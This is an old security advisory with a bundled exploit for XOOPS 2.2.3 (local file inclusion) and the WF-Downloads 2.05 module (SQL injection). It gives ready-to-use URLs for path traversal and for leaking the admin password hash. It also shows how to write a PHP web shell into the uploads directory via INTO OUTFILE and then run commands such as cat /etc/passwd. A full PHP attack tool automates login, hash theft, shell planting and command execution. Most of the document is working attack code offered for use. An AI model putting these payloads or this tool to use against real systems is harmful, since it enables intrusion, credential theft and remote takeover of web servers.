XOOPS 2.2.3 is susceptible to a local file inclusion flaw and XOOPS WF-Downloads module version 2.05 is susceptible to SQL injection, credential disclosure, and remote command execution flaws. Exploitation details included.
59511afa72fdf7c3314190b12b28476f8de5b259d05a221512df44e94c35d119<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-number">11.04 12/11/2005
[1]XOOPS 2.2.3 Final arbitrary local inclusion
[2]XOOPS WF-Downloads module v 2.05 SQL Injection / Administrative credentials disclousre / Remote commands execution
software:
site: http://www.xoops.org/
description: "XOOPS is an extensible, OO (Object Oriented), easy to use dynamic web content management system written in PHP."
[1]
you can view any file on target system and include an arbitrary php file (without to specify extension),poc:
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
[2]if magic_quotes_gpc off -> SQL INJECTION in viewcat.php:
you can see at screen admin MD5 password hash,poc:
http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-'%20UNION%20SELECT%200,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0%20FROM%20fXZtr_users%20WHERE%20level=5/*
you can create a shell in a writable directory (this time "uploads" one),poc:
http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-1'%20or'a'='a'%20UNION%20SELECT%200,0,0,'<?php%20system($_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20OUTFILE%20'../../www/xoops/uploads/shell.php'%20FROM%20fXZtr_wfdownloads_downloads/*
after you can launch commands:
http://[target]/[path_to_xoops]/uploads/shell.php?cmd=cat%20/etc/passwd
exploit tool:
<?php
# ---XOOPS_WFd205_xpl.php 11.35 12/11/2005 #
# #
# XOOPS WF_Downloads Module v 2.05 SQL injection / #
# Admin credentials disclosure & remote commands execution all-in-one #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven #
# and Earth, unending as the flow of rivers and streams; like the sun and #
# moon, they end but to begin anew; like the four seasons, they pass away to #
# return once more. #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
XOOPS WF_Downloads module 2.05 SQL Injection </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&action=value"><p><input type="text"
name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p>
<p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/ or
just / )</span></p><p><input type="text" name="username"><span class="Stile5"> *
username</span></p><p><input type="text" name="password"><span class="Stile5"> *
...and password, to retrieve a session cookie</span> </p> <p><input type="text"
name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname
& MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text"
name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this
for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p> <input
type="text" name="table_prefix"> <span class="Stile5"> specify a table prefix
other than the default (fXZtr_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command, example:
ls -la to list directories, cat /etc/passwd to show passwd file, cat ./../mainf
ile.php to see database username and password</span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit"name="Submit" value="go!"> </p> </form> </td>
</tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>""))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($table_prefix=='') {$table_prefix="fXZtr_";}
$action=strtoupper($action);
if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;}
if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}}
# STEP 1 -> Login to retrieve a session cookie, bypass referrer check...
$data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login";
$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
if ($action=='HASH'){
# STEP 2a -> Disclose Admin MD5 password hash
$SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM ";
$SQL.=$table_prefix."users WHERE level=5/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('<span class="itemTitle">',$html);
$temp2=explode('</span>',$temp[1]);
echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>';
$temp=explode('<div style="margin-left: 6px;" align="justify">',$html);
$temp2=explode('</div>',$temp[2]);
echo "MD5 HASH: ".$hash=$temp2[0].'<BR>';
}
else
if ($action=='CMD'){
# STEP 3a -> Inject a shell through a query...
$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";
$SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO";
$SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
# STEP 3b -> Launch commands...
$packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
else {echo "<br>Exploit Failed...";}
}
}
else
{echo "Fill * requested fields, optionally specify a proxy...";}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/xooops_xpl.html
</span></span>
</code></pre>
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